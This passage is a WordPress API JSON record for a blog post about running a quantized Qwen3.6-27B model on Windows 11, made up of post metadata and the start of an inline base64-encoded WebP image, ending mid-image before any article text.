{"id":2825,"date":"2026-07-01T08:30:11","date_gmt":"2026-07-01T08:30:11","guid":{"rendered":"https:\/\/ranoomhs.com\/?p=2825"},"modified":"2026-07-01T08:30:11","modified_gmt":"2026-07-01T08:30:11","slug":"qwen3-6-27b-awq-int4-windows-11-with-native-fp4","status":"publish","type":"post","link":"https:\/\/ranoomhs.com\/?p=2825","title":{"rendered":"Qwen3.6-27B-AWQ-INT4 Windows 11 with Native FP4"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRsZKAABXRUJQVlA4ILpKAADwMAGdASr1AU8BPjEWiUMiISEiqVUqiFAGCU3KG6d28zFw2N5nQuQx++qJ593\/fdaPHvt\/9b+Yn+A\/c75rrg\/mf75+vvim\/e+C3yf\/H\/3XoxdF\/7z\/Jfu7\/tPlr\/t\/\/T\/mvdb+df9l\/e\/3u+gb9Wv9n\/lPyZ+kf\/B\/ar3y\/3j\/gfkP8Dv57\/hv+t\/jv3r+bb\/r\/sB7yf85+SP+d+QP+1f23\/4e3h6ovoC\/t1\/\/\/XW\/bn\/hfLB\/U\/97\/8\/9n\/1\/kY\/nP+Y\/+P+y9wD\/\/+13\/AP\/t1U\/Kn04eZX478hv7N0\/vsL\/ZPnWxv\/IeDH8w++v5n+98f\/AL\/Gv5j\/hf7j+uPK6AL\/UP6n\/hf8Z+6n9U+Nn8L\/d+qPiBfrh\/seVg9S9gj+f\/23\/v\/4j8sfk5\/3P8x\/lv3o99P1J\/3v838CX8z\/rv+1\/vH+W\/av50\/Zz+6PtO\/tcYuALdwSmA+SdzE+RwVPPsw84p890Da+SpqrTg1MIvM+F9f2FCvHLYC0FqGSduKmZmE3+hHF036Lg0ADx8cidV46xgbi3YTi3ZAO3gHTWUl17BXv6m9pkEsRMc5U+C14gKjO4UM1jWqQL\/Farn1g70X\/EHToXYH\/+Q0jObNLWZBrNUdBK9yLnoPYidYaAPZgQlL1W\/NykHHkY8xYhHvxU+n9xcg6yRqgiGwqvHB2HqG9C2VKpIUwhygcG9uYG\/+YM7MAsp68P\/8wursumFSaW1FcKFUK\/OrkBdta0Pkdsw0Yx0mj0eKmEeTOW41FPxLs0VH0dGvOM48JScNIaeUipNBko\/uZbqarJKkYfFZFbYhjxBiGUa1deaEd1tMJsA8jv7o49wZHISh\/TFKz985QZe\/mUyzO+Xk9zfdfJWJTu3Vc\/ivL7Jz2LhdcBNctsPtMRI87MtHulbpb7uRTgudlHsNM1rrEq5oMoNbqmWVSfpG9LOVJLPhyY9QTfrPoCDixEJ3VoAFS\/sZD8qcqZLGh5IWaW1OVHYQTe9JDjYzwy7aUohdfeGCq58CrfjI7CJxJydMKnajpMW3ocqyRwR9+GNLPC2l9suNYZFkJFnvRzxLxQVMCaj1waescvuoQKgucILYbodnyieGYpaoJxWuPfzNPRvb06uDyuBojz+IHcUVFkBtDi2Rrba4\/FQIHsIUBj1jtqwXIQm5NjtIu5pF3VKrC8CX90FdeW2BD6meqg3T\/1QeX9ftwv2MV9gd0g\/cQiEPGtZXKoIsPlkIk4HEmDx3TOgGpBTTk1U5UtnHjmMhHuUrIEMK3W46td5rbqqAfdDv5FPLejTsRB2bVp\/O0z+RiUDqJM31cs0f7bp+waisaf4dXLqzX7ZVesp9Izr3srR6\/Vpu31Za6ZOqXc2UvJg7ZqTVshu9SCpdP91q3YHz4muyAb3H6EKodlSkGoJkz+feLW2vUapiKK5WtX+pkskd8SOH22Czugj5rreZiRL3JOpz55GP9KAJFSkNs+4aeswhxN\/6FNdf8sWF2xaraDaQjQNOf9WaBNIQgnVB\/JR6djkgZUO7xhNJ1WdoPS02xXkeNgcEbpWwlEIOrQPoRtT\/nP93JPJ47KJOjlJ7SzOpqaKr\/rW1cWYbsLb+5FwyKLzy+jLIDFjuro7BGy8uyu1FOZqD8ubcy9z4NB7XocyMsI0a7V+sAnXNcH63b6h\/ELVGoVTivFOy7A\/O0wRq1vgPX2kT87Sk4t73tUmGv610qMwwGUGi2dNU+bm5j9nLQXmsGYwDWmQ1PPU2mTYS4kK6R6L3D6ik0hIw3smN07oh+Nd\/4NsZnfknHh5Rzx8s\/OKg4HEJqIi83LSrt6SEhjYZeORZx6\/niwGRV0Esu5G2g8YXKV9GG5OzvL5DW2pIbe2gI9pMIWYwZT8HCW7jeH0BzIcwTpPq1Eyfvp9beRa6812QFZzR+bKmEDDPq6NXji9vAuf6rzx4zeHAV1JNf1YQDfP4HclD3uhFyMwV++jwsgRGJBtenGik4tolhqL6N4GAeG6B3hpzInMn4NMgoJBKaDpuU8tluP61q1UY2ukOMCyhx8xi4b7znrWndpoUBT1Lke264A4tqtgAMoYmNSzVkXrk4XgAcpl+L4YDKn0c9oOgkbbDRFwXPV6tChrynO0K7Ze\/6JjiWkJN23Dn2R1IZka0beuFaAG3VRCDL82bkwJsuQYoRcDYfMPIBQ9tKJVIsI4lMUwk4nrEhKEotttgd0ubo0KejNe\/u549ElQ\/gJavhGZrlwqu5bY79TxxwoIKKfyEfMTDsOqjbnIH8zeguSQnWuQIiZsqAoA8R0XvikMKcPdtgzb9Mj8re3MlC\/y7n+o2G32XB5s1kYSzn8jGiIF33xms7HT5RqTros0mr4aWFwM9xUNoM2XHdfMt0MKWWSjqLicEkvnttHjKM7tVwmfB7heVQ9GSKbgOYEtainYXUL77zO\/\/JTHR6XwQFtn2TvaGOV\/Ky8haK4uaNTYeWUWQ1KkhjufbgGmt\/EWacOovuzoHq29lTkTJRBV2vxHHcpv5c3145yJ3CJ665QQ\/tZq\/sA3EP5wMCTOZOe51+j2UXDe1CaV31MtFP1+aak9lPVroiif059J3a1D+v7dPCXBDOWgETZ3QSHFkCHI8MxWHofBdztB5p9SGCftVqWhGgktN\/ack1+hjf6H31Ppor+TUHw77eX4P0Q5AH8X\/egZ3wf8BFd2BTOdy9UkZ6nKCLfPsojl+o54QeCSR3dlIWMXWZk1Yk9B68SxFe55Nff1MehzrbX\/17QmsAMxcYyPiZdHGNbCfE\/4lc15ortHyW\/NFJ5Bp6fv0NxG364u7xNGwj0iZdm9PoWrxjvLwv\/GYI\/zM+9b\/Jpmo6teszVRE\/OJD4qLO0jM9BXOJaSw\/RqaXcYlkjN2wY+\/1EHCBr3SMaOmz4g5yPIGbLAXlHXmYGgTvrLYlD8e\/y6rFAqVlEohXhEhwsS61DA1xYkj3u4yVZcPDogUJP53sqWvpx\/n\/\/7WiDKbwQUnX93+Re2gLGZbArcSaB2InPIZnZcrVQEBk3oCnnyU36+LonryyqE0XWgY3dS2pU79pqdcWXN7NHxk3MWH8fLiwHkA0g7EOIo6WHkNVH+T+yYk0vyoJa\/tsTJauA+wVXOe2CC9PlSFy\/NbmGJD4MRGT4AYN9smueVQwAAfpXFEqGRgrry8X85SKrvghXJ3Y6qdevFS2KCcMlMdt23cb0N7faxnAHwPTbZLz0ESHdBQB0pjb9zRTsQoDwRYB9srM3\/1PCNoBxMM3VzM3uX3gGv2VL5zaLbcGAA\/v\/4OtOj\/In5M1tqX0lzFczvbXGtMINamwyk\/AlyWbqiLxODYB1lFZH+WcINx556uDVEeMnXGTGU2xicR9\/90f\/DuwZt\/HXEPhYSPVfGDWahqExOXe0xrvEMuk1KtQRgADcXbuxZxc0nz+b9i+Wi+NxDYVKw1bvpWgWVJi0LU\/5fBjh1tjjBj5G\/jet\/KzcgM2vTSEjhAodze16h2Y8HYKDemIdIAkMIaP8K+l+uVVFovDNplfK82uDgLhKaWx6nW61iANH7ONoR3JQNho+\/WPHnoZk1lGNu5B54wOQkF8Eke1RnRaDwio1L3rxejF02Jq+76QAh5rsoH0pxs4L92LU7B1NMLPBvhXcga93kDkJgGiL9k+KXVQdFD8iiN05kn8P55xXsF4bUHXRf31BYdqMUADqWGXp3X2l+uILoOIwqFIneofcXixsXMOKEq2PpzJ3gXrKeMtSda5Mqmr0wKlOn5eKCBS0\/S1fMzbuIDKG0QlKR888KcPWbGNj2jBFJJr+O\/VMArUlrw5cTiDvYtxVD1PccrcuHwvowzn6Py42u+M0P7yazEANd0mh2IGHp4ysE9jj\/kQp2+2SUfxYt83wxwbYfonLAGMnknG1ELiUmc+Sjg536uJff+QPePsMQF0Fob9+LJONZ4miwZATq50q3jN6RSBzsT3uKkHHy5O3rRbkETf47UWdkIHR7tuzZyo0o6c9yKnrxE3UMiDCVnR0eFUpyDVtOL7CkMsZKBtM2HwcH6yg1iHhiNffLEu9uYGUmhxKiSAFg\/KSaq8Yi9EsxY7Zjx+Hd5n5u5a5e+J9Mv0yX+Lj0KvkpBHUT\/DwKmTebgYWP3YlC1aIgbFE5ZNvIGhmizM\/ivD+ElV7\/CdKYb3VOas\/Od5i3rOOKLk0onj47jfcJlSeCheNQ3osV1tToDuun8KMNT0odjuM2QCzD7RW1oLQHe6jHhFY4SMOVfjkkmfEFZf\/rHCv6gpzQxFMeGX5iEXBUM5wC19QCTsMkW09DxHrr5i+9niY\/T0dfIqW\/MZwXWmuHDBtY8tHsVSbMbKJ8rxTHPSFqTRi4scJgE6Fio1C+qkeEoM7XQPONvxkHcQKtDa06LHfrQWtXbeDqx7NzPZiykiS9H6d+WHxzkc7Be7X123dYj9gUivLr7r2TTZ2RzmEW9TQf0+tit7ZOCt2UEKmzrWpaQmvn0DO1hWsiWncYVzI+mlIQoQnYSX2WErtrgG3dPAzomrp3\/mbwqbxenZD0cMv6mYbip3ZNIGJ3HsvyAD7IbUhgCZyrf7pHynlk3VpN\/h4mSGfo8bQNwHtmh81ydkf9JZ\/HGaqX3V2T9QO\/JnJ4BFipinJQHUgZGGT6IK\/4OsQZfr1cx\/zHYhnjxQYtFkG0NFOm6eZusQijLehbRmcOzzF5lB42Yp8JqDYb9kC2Hyu5Sx8yCHB1qQFu71uuO3DdEX4dxwWOc\/ofC9R4wPTKahJkwefMXvknTEkhJbwAuxSsQ7u4M\/TuYq8L15zvRIlZWJmCaRKp2g5Wnle\/6Tfw4Otz0dNnu3Tz\/lwZ8f0Af8kNtEWs3S+XyR9jbm9mcg2qdtRfjHOPiymDLeqCZm\/+fa3mVBEuHpQUSZxTNJI0d46ADY4YzvEk6t1SXpbZmrCcv1JchpSl4VPGUSj96nbrdGZUW1\/1N38wJxE9yGMLzHoQZKAxd5z5zLgno8PIsfn4oxG2f59VAqVHEGB5DBxpe8HR06sVncWnP2C6MpqZGrM72KcWTEVBN0vFtx0aHVh\/cnAaC4P2VIppqbIssHEHWJgqHwehzOC4uq6cGoP+A4yJBvZq5EVT20cW41yMcvVYLM8TQDx9vs9QzlbSO7OFJjecXFYPBhLX5olAxztetSjEA71WhF95FGX2KyZ9FfwWQTncFRq2JRfro4wuN4z\/9ljZzSsmYonwNNCe9+sBblpYNcfa5EJlPoNZbr96Lu637PcKf8z64Jwh7iO5b1srKU9ZNUmeCwWCYYMUTdb6hW8MNdEyQNBWirrxsWSJvFqt\/8HEKrG80QxJNgk1FY2LKixzYB\/xEOPoFvEky8ZMgLaG2zvtU+J1aNipzl3Rm0WhVrqCtxYeLJLjOO74f0UYZMNaJgdBFtgYegdAteLGwkdn9c8z+YCawbZQpE2j3vjHmPQMtmEXUZBmbe3DjRKm+Vcl4NQtRY5FIi3bTUPM+dCjz\/SK9VLWhe+D2nf6zHgQdg6agBB8PBLDiE6g5PRynNtFq+ZJJzUlP6NGcto0undr0KXoezNRq6QuGi8qGquSfk9Vay49lW7IFbMFTa61CFCcY7vZqcOK\/CDLQCcrQ5dWGBOZTPF2Z8zDSPIQ0KWFpcqp9KfScjDSGQ+jkfB0pseHeresGjGwFDATZVNktqt70CpzoOLzkhbTtrOyDmlELjMZE+B\/t8Psqg1gZ6HzlpSjKn5Romk1k4Cc0J871E9GfRWCXrCyt3pzdJULLHiY4StaUPhfkONeiCr7CRt6yCmHL8MXB55dBysmhPFYwDUMb6yJDRL37JjgoB53kziw9Zkr9aZwlE6Kn56o1Z4ZT9ivBIbVOoErgT2zVHfKlxk4trpcCz8o7ekRwH0fJh5nzPpA5vhcNUjYgDD6p2B5HDbOzEI95Rkh7SnCGGXWT2hWiDRiFydK4jdBwWR0FQHLW8tpr\/2Z+9DLXmjtqzYivkTDD4aUqbc84U4Y7OD6m28dupUpzLrhAwKvzWlhOqJCzTqbaPtixAqiPoPWSdNdUuKXCF5O4Bn+7MBy7HaQoUAtYf5fGUbo7\/11k3duEsrRAWmayJIbNnSpT9xbIDK17lVeOjvFV3X76DUXGeVophQDEFk+HcsQpY2\/jM9W+tNawfP1HtbmjzLKWO3UjlrZ\/\/uH9nDqgxAw5rLSTFzk+ma6jj3HO\/nBVBOQfap9Tt4pKWWLS3qYpZXTDwCjcD1WBGAijCg4OefyVg+7yX0NEslo+EmSEKKLfdAkIqMQIHOhOgMYrK5AE\/3GehuNXsksDvyr5NdpooPwxdleqPT7Beq7h9IeLRvIZJVNFIZmbsh4eXoVZcNYCfEyfnoaTmwfwDbQguMCHY0aO8h2lcwRnZV0hE\/omdMLzwEBSGZUIAMjijD4IC1jkYN977AClS6\/72p0k9aGrkVgD1oEFUFvgQ+v0wt62z3Po99rv5QPhuffl9qaPNIAyT14TkiWq+8cUOK+fBsCYZfbvr2HDH+FWwiC5fAS6MXgwI18SL0T8J5xmzu9ldOUmloCbWXD8Oixmn21QqYAofqVscsxZWP6Hj6aQReLc0AckfSGL6bobQXewmMnCMrpoRDu19MgMyCLto3AF5BClZBWXFkJad8J7dSz5RlH0FteaanLdztklDb8obntZAlNUAc0yo4gox3+IcleqHt+e3N2S9B3kX17X6gwUqOcCuv9MuzZ+L2r1b0H5AswEN4GdN+JG2W5BVcVDpIMxupQVMMpQ7p22Nq0EtNBkt4Eeb\/gnLV+ZH2iREdyOor8B0UamnDnGpXJTSprXd1uySnrRbAMq1\/SRnwXLshB0q7TJruNEtgoHMcDBTw6rJcCWT5xe16hh1tH5N8wdS0UtOJFDgTOr4Yc3+01mwrQcFcpwIdcAPztXmNdSK6RUEpZLXtp7XsPrHEHdBJ8rrhdWXxzELtDzJEAk75MORwpiasXyArYvTWAnmxXaXUSnunMUtTEtfB6xq5fTDJJHwzMYGiETredLljSaHjPXpEUVVfjIkV+AipAG4mjK7LXNkpSYVOFPviw3YiL29NBfj2cFINlLXD+902eN9KhlSLgX2ZU1l2gk9JdXcL\/7+6DQI0OOESF4iXeP5tISo0pD3+eqJjU7DRxzdK767AY7mG+ZAQ\/TOVQJKCGv7SEJZ57J9DEETVvZHHsnPN4zXNdKWJBg+LC9O90eVxYkGzHssSeTOCp9jB0vtmuh+h4XKFnz06SwtdAzbupQVayBTshWL\/l4WAtH930h12Z8SMzLwLkk89YZ0KS2c4tpcjd2Fovn8SVWaGcMf0iK76vNWMokIbCU59Q5X82xeQwe\/qUWAhRASH\/Jvkpw5fN8wGcMncl+E+qyq6QlAuG\/4Fihysu5jcx3NNp22SuXIZ+4t4cJVLsBmw1Oezq1fLKgB8rpcC03EILH4Vs0YUweNo7qWfUnTwHd6l967QHXiqCQkcxkobMMFCp\/sN3q4gUM2KvLg02z4TAE52le\/iTCdnlGubj6\/MQQiXd7lzxZetJGAVUTSc49odRkCjQVTLm\/EY7uooJb+ZaycOtg8fyYW30\/2HCM\/jl1u5f9vfWZ47VpcQ+1pec1M88xOi9hzFW8vEWLV4k+5WaJ5\/IQ4v8oE2f\/UdKkBazXb3VW+4rG+YSzprAlRvUTPGygwOyR88MbVYHwoqq8ObkS50cLcfUD032EA3\/aDs9Gp+CL3pcSddJ802OXp2YKKLI4htLhIkGpK2klCdWtgfITJVHELmBh1WGaY\/l73iPQnPRHmHDyu2rASl1aonvkpkJtV17sv6Ts9wBl7aVIgEYiDT1uQ3plSW+eEIBZ3hh+BAK1s79N686Nnf8lBy7zhbhSm5rhbsw+6NeD68hx1AHJmr5A+wJ+DPlCvlObpsdG0ICISIPj\/iKDoORug5NKvSWUpnY\/cnke9+J+5e9H7Pk854oOMrCJcD8hU9e6OPw4KAwIknrzL+mUm8rFzCG1uhzxesxzn8wkKstTmrtkcWeRtpOVf6k3H9Ehrwe2P2XvD1tZaRDRb+Lz8aM00yXBQlmrxG9ykcpoY19dvhDFVmI1w4zImq1E2JZ\/ncOGJZO6VDuU0a6\/PD\/1NCXCfxqJ7GlqnnsraSC6M6cocb6Q8WdPTYetZp0VgbQiKzplr3QjBRSKWO2Usi\/3juek61qd+KClKF1mMZVXVjofRXsG5tftBGK83DpSFiXK\/Pj75ZFDAe1LQVpqhjJ12oOhIKLg\/xj+tP9+7XIsc715nq2DWrDVqjHpHGlxsYGoxFaA+Viuf5ihk6AretsQQZmAb\/BTYQI87gUGYNY6MlgKYH9xosLfGVV2adnmz0TbWkUzZeiuZ9PbBwmo8wR8JRApZPClbqS6emw8hOESGXKrqXVduQ1LmkNX3RKxoWu6YRDqSA0REUVkO4GrmgDIvovBWZopI7WGivP7STqdCnh3Ep74hVmQxR4wLlwvwf1Zc5nY3aio4rIwobl9zGpoiN7+SmThrZtaUPR027hE8MUZlf0JzaCnDIvEnwm09pAFBBQa+jfkdAC0sKr63wR1UKhpUG2cLpUWn13kRmYMQ176w5ZJMNMx1jkHgrw0iXr4xuzZi6RXqqgMsCJCHeugMjWau3tOEPHO3YWNhJvrTz6LltmT0Txsph9N8TUMNC7ksvjoDM5thiCBfe6ltoy0lne+Auz8fqPnaRdrR3FkDjD\/R7DvoBgkawo\/TsP08yvsqbRVWKUk653mVpRAUsqC4KxxbOBA0PH+aWifDv1fiGyeQGHiI2\/lHBwbkp5u7ebFn3KF9pZ\/NcL45jYmTh9qoP5MmeV97ga3tax9VZZ\/eAgfeNFg68YkNty9dBVrBv22bxpdvgMYf\/InaGhK0tBv6pfTJSITume+\/vEEYdRfxD78lmUa91g6\/44grJqtkj\/GcqZH57dGyTwu+0xpmtv6Db4+9WYsl53XMb+D8ufzmtcGHMsQ264k2CvPuRQ6iDEQMm+wH6gm7od59elF2wXI+ZXUlA89OtzF28h9Jl7CDTlAXz5Jy3rZf8\/LpTEBWpeTfXLSXR1ceJk1b7GpsMwmND0PqSsc10bOFxpO744mHg9SoDMbfDJMbJBo2Oa8K7tMJmc4uE4YYSCkdS4hz\/ZZCiT9ngHCqoEL1urK5b85zL+vkjXQXmetsM3DBWC3vnztu0HT\/wls5iZIN909iBTje1sgiZqqoCcTBBNQJmLwX6FyMCaReuHjI8hOl4u48ay\/j5C4MaEsay\/Jf9+ooLBGGQgnSWJcymZ9krdo\/jOVz+FQPmwY+VWZMXuv7n6+V9tYnQAtEMW7iUMmyuyHFGg4tv9avFGngHlXaEOHnnKccFslcdvTbg\/2MOgbA9AF33HEuefUxji2tjCcqLi8qwFDnOfVthMFwMhP\/WMArxM\/nL\/InQ4X9Qp6VkwniSxQxnfNcC4Fl4ps4M+bszCtztrWmNOm0ld46Fj4JC326JBxjJAHr\/JGRpj14Oj61TcAAnV67Y2xDE0g15X66Gu5c2gYwPM2rBgUnPIhhOoV80WqqMrMA9IW1+iHdSoBUg6A\/mE\/rvs4to\/UdR3kmD6Zd7B3teL0SH8CB5hHsq4qdt12FcVfyvAN9wqiiLFGfe9m+ysGdTFchB\/a8Cjy3dZ8NU4ELLI7+QW18VbCbHAwgNuPVp+VbKCiAdY\/4d637s6LV9YTG3lhDs5aKGlmFcdhx7UUYmbeDa9ieO9u0hro3EoPQRXs9JbxyME\/K5yEzXKxPz1di2V9BImJL0SX7Nlppwq9Co5rW1YQs+t6WgaYIVFBO4heBgoctpV3CIgNloWuznu\/nhjHci1R+JgeFBK\/UyTfnv7bXOuDQTNf5JqmC1k8FPuoHwzt3I\/eSzYrxDtGk16zLxYF5eicsULbALNuSH27ZAqtDqwHikHfzCCLA9FwJ4Q20bT0iKnxOCLT5ns6F9XCVx1pSORbFaDBLV3T3AWkz2Jt69wo0DOiVk1uTA\/jtMYdu\/YoxNeO4SmBiwhJKo1+qjMz8FGzuy0llye6U\/hjIowkPSSjUPezxAZHom+Su3Ze2oNq694fHYb+bbfH5sOrX62Q+ZdOAZLzF2l4Wo43k9JWznFUvce4csDkiugmbNqYF5\/WJhmPzUhoh7eOwPqfJ6wsXeYmanzJ5ot20XRpZ6jgTLD\/XXe5k2C6EaAD0hYB4l1Uk7NaVfN+w\/RPnCoMMWZLExdMjjoCQ547pxRe\/XmUgp2mni3oKYLbTWOYq+5hrrhlqjiR\/7ATfjwFBi1EibbwnZ\/QdkPnnUZIgxZdE\/CRz+ajIiJ5D56QzpP9DSiH7Nbzfg7Hu\/LQrRnUCH\/SQ1MwXhmSntD4bOW12lXZVwxIdp\/i092fV+N6sYQcbQG8EIZPJfygCdPDaSZAumXBMIvFShlfBJwWnuDKwGI3TBgqNBi1fGH4Q1cOboN1six324WN7Sf\/GBCSpWuswPLHRPcSYgiqTGq2JhtY8ennIdJ8Y7ZKMhbUywnzAp8H7+++3vq3mB3ll2skQCLC4S\/3m8w1+vV3GsoTt921ZSnUlBL517liGXRSB8fLNBFYyKQZIU6gWp4TPeJQQLGQ0Ye4nAyUYlqtprpM06L1oAZyCax8pWKXJ03eDWTnthPPy0Pk\/vcLJ\/\/AOPRV9VyfvR\/wE5GaUMn22FPV8YMByUnPopm34\/ejFxlo89Je0p98awEsHkqGJZPuO5vTJ4tjJF8D8j2Q6k5flB\/Vys6MdVxQOeht2YhBie9MFwEiPhZyeyjTvY3UfQwMoJYLdFVdnPDrY4qaZI7cfDADF1BeQ17TsKKHFRkSmOEsFfr84oUFGqJD1lVSRhydY31VcR6WJHEc5SLJbRpJMPTkRrSn89ze4RgmrdarftNG+fKdqlE7oR\/R9iTYs5ggNl488ufTMJ9VBeCUtRtkeRC4FrwOJzVuNaHpmpZG7h8JPbTL78SZNw53fwsMEi5ksh4H3FFwipVl1pUIxKYW3y8FFI0cqzzSKW+8bwURM7EumI5O3ePcQ6nteMfeCuN4\/Da2vXWC7SUEYsOljPlNkJ4o1XnvoTA3a54\/azOIdnvVHKdnIAcfTgIp4waBCbwBmNdyq2KWYI9nCIo5V7lHs10\/G0VKShNjXhY\/+DNktbttOVlvyJY\/v94AGdRK3fPLxwmnUSMRtXhAhgseSh8kzCZgDZRQtydHCFX9OolFoaazzibeLRVAGN8S9wB3rhqFKMoc6l1Ol+xboMtUzZWxsB4rrlR0Q89vzXbgrYLqz8OB6Lorqdq182gAk4vdszbXEDztcMKtq9TIHmWipK0fKkjvEmI34ASzOVdlifEz+M1yWxeSclk8wU4AF4Q08qU8GIkjC2RDIPb+CRN6i8luIvwqDX21fBTeUyPcHui1I3s3BRDkQ2tba5MLUTaHreFCo31SUk0Nmxiam42hsFMEwjhwZ04JJYICpby\/bcsBvPjEMxxuAuItSyjECOL0sIeuPrbBVbXoElAx1YNmAb5pUNVN4m98kBHL7N4uJcnRDz05ELLHsvQHiGLZjT6uDXhw2jMzdkMdn6zwukcV8QzUFUDc4fpjs3aBS1\/7aPG\/8x7X7aMs4YERSAgZtDoW6566tpaa4sGAP99m0mLDn60CXuioTq3N9YeFCF3JBrUzaNs3RPcwN7pMpDYlwQ3PWByRAWNVL79oHSZGFxe2s9MsSxbIqf5Mg7Zq9M4Tu4vPdhdPXWpNAJ7bnwwgl8Uidn6TBy4U4tWTkJYs25PqFewkGQXMXViAWp944OsKqVMwWlpFONH0avdH2cucT63za1yGjbqRt\/tceP+rOMYyrA3S1vHYYzvqvnuCZ2ez2\/pTo135HxUZcZVPDBCLTjqJtpXdEwaEyIu08KcZy2sME3YE2\/Q2tyYD8d4NW8o6ZfZHXqrvFZulA1TWiMOFxo276YCqSJqBXEHEHop6GvyHYDf\/4uoVAX5Kt+bOfEpAWlS84WZVreBUwNVfW4OmNeAvDaPb\/4QGzdKdd4uDvfwibofW4WIbRL2cRyxotB97g+w+JfLv5eyAVQNUzOcN+lqSjpcjE4oMb+IDLBORQBDm06ApaZUO4E3XBitvvj+2WJcqsdj60g8GJekDDee6rL07U1EAR4SYRclpEf22JlIwIKAvQpHmIVWuh8+5\/MYFse2q+QC6GkKb1OpXOrv3Mz4CuXcWvmI\/cQwmoNZ04M8E4H3LHLr\/dkbzoAwToiYjvE2tSbq\/WljJiEyOJ20bafkIAYkvgkE27+vhNeAE\/5+SP\/4dKLNr74aQwGEjlAkSGp73vICQicwclLwse+Eb0mPYochVlPw65kmEYDTFC14ribAmVwuOljDA01tEaJO5CQHhYYOVSqwKMIPuWQglJr5axzA2Elyytbev+rHU5S\/Gm4eEdampQ+4PlArqtFAESe9f6IFtwAhtpL0zZHIyvUiIstvUvpa3ZV7zemk0+4VJZQaLvC6Jg9JSZwn3H0G+XUxV4xFJzRevy3dlvw6jM8ICWHVoygxzMVwDzRSnSGvi244wlkvOIYI7I4PrDl+YXf\/yF6cb5bFLMdaJg0LFJWaFYauGTwlwMoiDO85W1LcNP68y1NgUG9kk+GwKQXtrVg2am8w8hKUC8kIyY57ssxLf0TWh17njxS4gsIYkp5M8yziTzODB2cq45uu0eiaHQRlSuZBT0nbvzBheo56MfS2O8hqELCI\/\/i6hmBMLLEX9I3vu8x3PPU4dqgiDWx1sZButr+9MMAkvMNLachi56nke6cGsdp57jzzffL5HGgq4Am4DZgYnmAFpy3M2yRL4LXPkxoaYgEOs8dv60TALHnSHc\/d2hDX85oTp545eHReiwEgMRDAayNQLY\/yZEoAxA\/iXzpz74Sn+5DjCAXNoqqS5GtgAl+1b4Inha0QtamQvnaru6OwPi\/kRfvyNSBNJbRtqcnrHZy6l6B7t6qALHnsvZAsrM7hXuOsyyLH\/tZNvtb9mxJ85\/VXmkRcBAuF\/xzkRm8ViPkN\/Sh+P\/8OiHyT8i9wELB6hIBuC3o246GcvhL0tNG4+5XFC5CgSWYcP2HeQe2Btd4ucf\/sNYPV2ERhL1vt3CVAMU9Q7va\/1xCPX8iBl4tjx8k4D+ZaNGbaxl6YGTlIYQK7S2OIYMSWkBd+DqLdfxZQsh\/6vnvQq8zutyM2gAtY9mDJjpkkOtHzb64JUToltoV+wXjTXQRFctHctVsAFaXCgMK3f8\/xRnES+28FGTS1Q9iYAkllTGV+K+vjdJGajgtUSUcNrk03QM1hI0r3MOrHBQYSM50JqrzAEXI2oMyriIeHaJghvZnJl+ELLIGI4HOzYPZqdn2pk9B6bVYD5iJ9pVDpAtozLjTI5GgwjbUT5bITOm00NehWQwt1CyvhUH3eQU+7H+tzBNxxpb0MMY4wyZnwXpswOdfiRyeySiWWWy5sE8lb2UUzJNZJ0ADj6Tj2Nz2pZ9LtPBfyBhBj\/KFCZ3YGMSjs8M1KjoJPCMdnTHYYI1PaZCI\/upGlJ1eVEAYzRcGDSrJKs0Dbc3XNw9gf4hGNl1NwitGDq5l4v8HfISgdLvijdg5lgD3wyhc7NQNqubN9AAxG8eJN6X0adrMMhStXvH0SvCd95cZQ1wxh5C4IjGRfWiFdtKTBnGzIWgC+9z0Mjt8YGDGOP3PV47gsN2l4hHGYk9ytZsB6y+7+O0C98Dv+67URz\/VsPoPlRPtPOfiYRjbwC6YBMfXQCHPjIwtbQkdgvkwUbRyCPoGDXuQK1cVWbZ7U+IhGQudmsw0EzptiZUzaULrHFLRutJwdXqneY5aF6DfOLzZLW9TSxiSNsFgtKmIRe9DXjH8OCE017dNwui0LQZBXcPPHEr8FzQc8O+8McVBnJd0pQcPzi1ClH0nPJLZ\/BFUK7udbMb6gplj1j689U9jaggCbOhSnB+vPqbJk32ccNo\/rye\/7RaByK4vVcc7z0R876J+XEITTwHE\/szb4Rdd1i6PBA0BAj6+ffTXO8a\/NCzDnB0qd8qJSKP6kEy5yznKf\/\/V6IOK53PCP91mhJrR8QyUx\/5Lxie02q79dfEIxMGRmS8yR95rYgrYXDlOy3OdUjJf5WMgvRxad1qNKKHBd22lr+x7Kwi4vGtfAPKZpyUbPht8+46gGb\/uCLyFdb3nvEBVwhCXdm1Pw0Uk6DC+Le+lQ7xwN1YB\/5nJTNHRAsicpEHQ6HT2el\/Y7B5JfsitiGXEWOdXvaPXIEdvTDit2quwzSMVL3LybnPYh9NtZizeN4kYRuEy7g2rYH\/Ngvw8krFWiIjOa3x11DzCe9XmLMhBFwEluYYm9v0BVrGquvuPjcOlPGCdlbIGfXEQ\/uQIbONmf0DXEaAFslNBwIVxYDvUmvlumZ1u43Fqsd5HfA54miWxA8iVNBKYVruqx458aVBFAB3Sp9Tzh\/cTUGeAlaWI\/RDhhIgX7mCsE7ho5mnce4JrIUCyBRxeC24qovfcFgMAEjrxH1B3IxORXD5BolU0ElHTaRud+Tzs7spbUHZ0lvT3z3v29uffZ6EEJa\/ADdIf2yz+d+0ja89k6PQ0bYyZ236yreiV1UTpVwY2aUqSXu+OtmKB4oBjEDomMSFLZR80ev6rvkglqU3dQClP3Dlj8sYiLiH+57FFKGledfQdmIOgRtkc25O4XeI2fT5U1F\/isLSfMrGiQSV+zYBo4jlDAvLNjdzLOQH2gW5a7w2bLCbw2f7h626YwSbninC18tuneKqHPbuG9DqUd8u4Vs29T+Ks0SjIykQGOuMALk++iBCQ4IxDp7yBuxocSCtaIfjtCoQOsBeWM\/BBzbzf67UdqsUGjJTtlcgX7UZsYSW2geWj\/LYeGTEUTMdFthsA8ItUrCn6u3Jg0F8GEIL5YEl1Kz2NMQELgNQ\/iZOuX2kk4wEn+7pnoCWvsfAhV8ELIIDjb1kBP0S07bZSUxvQk4dhKfyRk1t2ta4srKXJhoKHEO0MHOix18SPNuYKviG\/ufDiG6whteBB2KqzdaiFF3EKdtCW1+Z3BQ0sNFG37iqtiAcCCVyyLwIzmOyv+yoj1zM0hX1fQ1+JQF5hefkmvzJsZCUMVkooaS+9dOPzcS\/OsbSc25kXhYkcNaJjT3qO68pwcUWQ8rNdtLzuZUaIpkkH0PBl64HoUedYQCJJURpKSV36fui1VDSOqTaVWiD\/bDf\/FUKPUiYFfcRGgFweAAKlMpAdr3Y\/F2vviSSPHF9w3l\/Rkqe9T8AGdsUrfw